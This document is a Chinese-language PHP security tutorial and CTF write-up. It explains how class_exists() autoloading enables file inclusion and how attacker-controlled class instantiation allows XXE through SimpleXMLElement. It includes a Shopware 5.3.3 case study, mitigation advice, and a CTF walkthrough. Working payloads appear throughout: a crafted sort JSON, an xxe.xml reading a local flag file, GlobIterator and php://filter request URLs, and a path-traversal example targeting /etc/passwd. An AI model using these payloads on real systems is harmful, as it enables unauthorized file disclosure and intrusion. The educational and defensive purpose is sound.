class-exists

1
class_exists(string $class, bool $autoload = true): bool

$class 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoloadtrue ,当 $autoloadtrue 时,会自动加载本程序中的 __autoload 函数;当 $autoloadfalse 时,则不调用 __autoload 函数。

也就是说class_exists接收的第一个参数class,在默认$autoload为true时,会自动传递给__autoload 函数加载

参数

  • class

    类名。名称以不区分大小写的方式匹配

  • autoload

    如果尚未加载,是否自动加载

返回值

如果 class 是已经定义的类,则返回 **true**,否则返回 false

示例

1
2
3
4
5
6
7
<?php
// 在尝试使用前检查类是否存在
if (class_exists('MyClass')) {
$myclass = new MyClass();
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
spl_autoload_register(function ($class_name) {
include $class_name . '.php';

// 检查 include 后是否声明了类
if (!class_exists($class_name, false)) {
throw new LogicException("Unable to load class: $class_name");
}
});

if (class_exists(MyClass::class)) {
$myclass = new MyClass();
}

SimpleXMLElement

SimpleXMLElement 是 PHP 中的一个内置类,用于解析和操作 XML 数据。它是一个非常轻量级且直观的工具,可以将 XML 数据解析为对象形式,允许你以类似对象的方式访问和修改 XML 元素和属性

类摘要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class SimpleXMLElement implements Stringable, Countable, RecursiveIterator {
/* 方法 */
public __construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)
public addAttribute(string $qualifiedName, string $value, ?string $namespace = null): void
public addChild(string $qualifiedName, ?string $value = null, ?string $namespace = null): ?SimpleXMLElement
public asXML(?string $filename = null): string|bool
public attributes(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
public children(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
public count(): int
public current(): SimpleXMLElement
public getDocNamespaces(bool $recursive = false, bool $fromRoot = true): array|false
public getName(): string
public getNamespaces(bool $recursive = false): array
public getChildren(): ?SimpleXMLElement
public hasChildren(): bool
public key(): string
public next(): void
public registerXPathNamespace(string $prefix, string $namespace): bool
public rewind(): void
public __toString(): string
public valid(): bool
public xpath(string $expression): array|null|false
}

Demo分析

1

这段代码中存在两个安全漏洞。第一个是文件包含漏洞,上图第8行中使用了 class_exists() 函数来判断用户传过来的控制器是否存在,默认情况下,如果程序存在 __autoload 函数,那么在使用 class_exists() 函数就会自动调用本程序中的 __autoload 函数,这题的文件包含漏洞就出现在这个地方。攻击者可以使用 路径穿越 来包含任意文件,当然使用路径穿越符号的前提是 PHP5~5.3(包含5.3版本)版本 之间才可以。例如类名为: ../../../../etc/passwd 的查找,将查看passwd文件内容

$controllerName=$_GET[‘c’];可控,然后又被直接传入class_exists(),且默认加载__autoload__autoload就自动接收了$controllerName,直接拿去include文件包含,于是只要能使用路径穿越,就能成功文件包含攻击

第二个漏洞。在上图第9行中,我们发现实例化类的类名和传入类的参数均在用户的控制之下。攻击者可以通过该漏洞,调用PHP代码库的任意构造函数。即使代码本身不包含易受攻击的构造函数,我们也可以使用PHP的内置类 SimpleXMLElement 来进行 XXE 攻击,也就是原生类攻击,进而读取目标文件的内容,甚至命令执行(前提是安装了PHP拓展插件expect)

关于 SimpleXMLElement 导致的XXE攻击,下面再给出一个demo案例,方便大家理解:

2

这里调用了 SimpleXMLElement 的构造函数,并传入了用户提供的 XML 数据 $xml

第二个参数 LIBXML_NOENT 是关键!它启用了实体解析功能,使得 XML 解析器会解析并替换外部实体 &xxe; 的值。

SimpleXMLElement 开始解析 XML 时,它遇到了 &xxe;,并尝试加载其定义的外部实体内容。

因为外部实体指向的是一个文件路径(file:///C:/phpstudy/PHPTutorial/WWW/flag.txt),所以 PHP 会尝试读取该文件并将其内容作为 &xxe; 的值

读取的文件内容被插入到 XML 数据中,并成为 SimpleXMLElement 对象的一部分。

那这些和第一个Demo的漏洞有什么联系呢?其实第一个demo,不正是类名和类的两个参数完全可控吗,于是就可以实例化这个 SimpleXMLElement原生类,参数为恶意构造的XML代码与开启实体解析功能,于是就能任意文件读取甚至在一定条件下可以RCE

CMS实例分析

  • Shopware 5.3.3

engine\Shopware\Controllers\Backend\ProductStream.php 文件中有一个 loadPreviewAction 方法,其作用是用来预览产品流的详细信息

3

该方法接收从用户传来的参数 sort ,然后传入 Repository 类的 unserialize 方法(如上图第11-14行代码),我们跟进 Repository 类,查看 unserialize 方法的实现。该方法我们可以在 engine\Shopware\Components\ProductStream\Repository.php 文件中找到,代码如下:

4

可以看到 Repository 类的 unserialize 方法,调用的是 LogawareReflectionHelper 类的 unserialize 方法(如上图第5行代码),该方法我们可以在 engine\Shopware\Components\LogawareReflectionHelper.php 文件中找到,具体代码如下:

5

这里的 $serialized 就是我们刚刚传入的 sort (上图第3行),程序分别从 sort 中提取出值赋给 $className$arguments 变量,然后这两个变量被传入 ReflectionHelper 类的 createInstanceFromNamedArguments 方法。该方法位于 engine\Shopware\Components\ReflectionHelper.php 文件,具体代码如下:

6

这里我们关注 第6行 代码,这里创建了一个反射类,而类的名称就是从 $sort 变量来的,可被用户控制利用。继续往下看,在代码第28行处用 $newParams 作为参数,创建一个新的实例对象。而这里的 $newParams 是从 $arguments[$paramName] 中取值的, $arguments 又是我们可以控制的,因为也是从 $sort 变量来,所以我们可以通过这里来实例化一个 SimpleXMLElement 类对象,形成一个XXE漏洞。下面,我们来看看具体如何利用这个漏洞。

漏洞利用

首先,我们需要登录后台,找到调用 loadPreviewAction 接口的位置,发现其调用位置如下:

7

当我们点击 Refresh preview 按钮时,就会调用 loadPreviewAction 方法,用BurpSuite抓到包如下:

1
2
3
4
5
6
7
8
9
10
11
GET /shopware520/backend/ProductStream/loadPreview?_dc=1530963660916&sort={"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}&conditions={}&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=2 HTTP/1.1
Host: localhost
X-CSRF-Token: IKiwilE7pecuIUmEAJigyg6fVXY6vR
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: */*
Referer: http://localhost/shopware520/backend/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SHOPWAREBACKEND=78ghtddjn8n8efpv1cudj6eao0; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; goods[cart]=180615151154565652; XDEBUG_SESSION=PHPSTORM
Connection: close

我们可以看到 sort 值为 {"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}} ,于是我们按照其格式构造payload: {"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}} ,关于payload的含义,可以看看 SimpleXMLElement 类的 __construct 函数定义,具体点 这里

1
final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )

笔者所用的xxe.xml内容如下:

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/phpStudy/PHPTutorial/WWW/flag.txt">
]>
<x>&xxe;</x>

我们发送payload,并用xdebug调试程序,最后程序将我们读取的值存储在 $conditions 变量中,如下图所示:

8

修复建议

关于PHP中XXE漏洞的修复,我们可以过滤关键词,如: ENTITYSYSTEM 等,另外,我们还可以通过禁止加载XML实体对象的方式,来防止XXE漏洞(如下图第2行代码),具体代码如下:

9

  • libxml_disable_entity_loader

libxml_disable_entity_loader(true); 这个函数在 PHP 中用于禁用 XML 解析时加载外部实体,是一种安全措施,用来防止 **XML 外部实体攻击 (XXE)**,这种攻击可能被恶意利用来读取敏感文件或执行其他恶意操作。

在现代 PHP 版本中,推荐使用这个函数来确保 XML 解析的安全,以减少潜在的漏洞。其作用如下:

  • **libxml_disable_entity_loader(true)**:禁用实体加载,防止在解析 XML 时加载外部实体。
  • **libxml_disable_entity_loader(false)**:允许加载外部实体(默认行为)。
1
2
3
4
5
6
libxml_disable_entity_loader(true);

$xml = simplexml_load_string($xmlString);
// 或者使用 DOMDocument
$doc = new DOMDocument();
$doc->loadXML($xmlString);

CTF例题练习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// index.php
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
1
2
3
4
// f1agi3hEre.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>

这道题目考察的是实例化漏洞结合XXE漏洞。我们在上图第18行处可以看到使用了 class_exists 函数来判断类是否存在,如果不存在的话,就会调用程序中的 __autoload 函数,但是这里没有 __autoload 函数,而是用 spl_autoload_register 注册了一个类似 __autoload 作用的函数,即这里输出404信息。

我们这里直接利用PHP的内置类,先用 GlobIterator 类搜索 flag文件 名字,来看一下PHP手册对 GlobIterator 类的 构造函数的定义:

1
public GlobIterator::__construct ( string `$pattern` [, int `$flags` = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

$pattern (string):

  • 这是一个包含文件匹配模式的字符串,通常类似于 glob() 函数的模式(如 *.txtimages/*.jpg)。它定义了要匹配的文件和目录的模式。你可以使用通配符,如 *?,来匹配文件名。
  • 例如,$pattern 可能是 "images/*.jpg",表示匹配所有 images 目录下的 .jpg 文件。

$flags (int, 可选):

  • 这是一个可选的标志参数,默认值为 FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO,这意味着文件路径将作为键,文件信息对象(SplFileInfo)作为值。
  • 你可以通过不同的标志来调整返回的内容格式,例如:
    • FilesystemIterator::KEY_AS_PATHNAME: 迭代器将返回文件路径作为键。
    • FilesystemIterator::CURRENT_AS_FILEINFO: 迭代器将返回 SplFileInfo 对象作为当前的值,提供关于文件的信息。
    • FilesystemIterator::KEY_AS_FILENAME: 迭代器将返回文件名作为键。
    • FilesystemIterator::CURRENT_AS_PATHNAME: 迭代器将返回文件路径作为当前值。

第一个参数为要搜索的文件名,第二个参数为选择文件的哪个信息作为键名,这里我选择用 FilesystemIterator::CURRENT_AS_FILEINFO ,其对应的常量值为0,你可以在 这里 找到这些常量的值,所以最终搜索文件的 payload 如下:

1
http://localhost/CTF/index.php?name=GlobIterator&param=/*.php&param2=0

image-20250124134611949

我们将会发现flag的文件名为 f1agi3hEre.php ,接下来我们使用内置类 SimpleXMLElement 读取 f1agi3hEre.php 文件的内容,这里我们要结合使用PHP伪协议的使用,因为当文件中存在: < > & ‘ “ 这5个符号时,会导致XML文件解析错误,所以我们这里利用PHP文件流,将要读取的文件内容经过 base64编码 后输出即可,具体payload如下:

1
http://localhost/CTF/index.php?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/CTF/f1agi3hEre.php">]><x>%26xxe;</x>

image-20250124135047160

image-20250124135432874

上面payload中的param2=2,实际上这里2对应的模式是 LIBXML_NOENT ,具体可以参考 这里

LIBXML_NOENT

LIBXML_NOENTlibxml2 库中的一个常量,表示在解析 XML 文档时要展开实体引用(如 &< 等)为实际的字符。这意味着,如果 XML 文档中包含了实体引用,解析器会将它们转化为对应的字符值。具体来说,使用 LIBXML_NOENT 解析 XML 时,文档中的外部实体会被自动替换为它们的实际内容

所以如果这里不设置为2的话时是得不到flag回显的

image-20250124135402840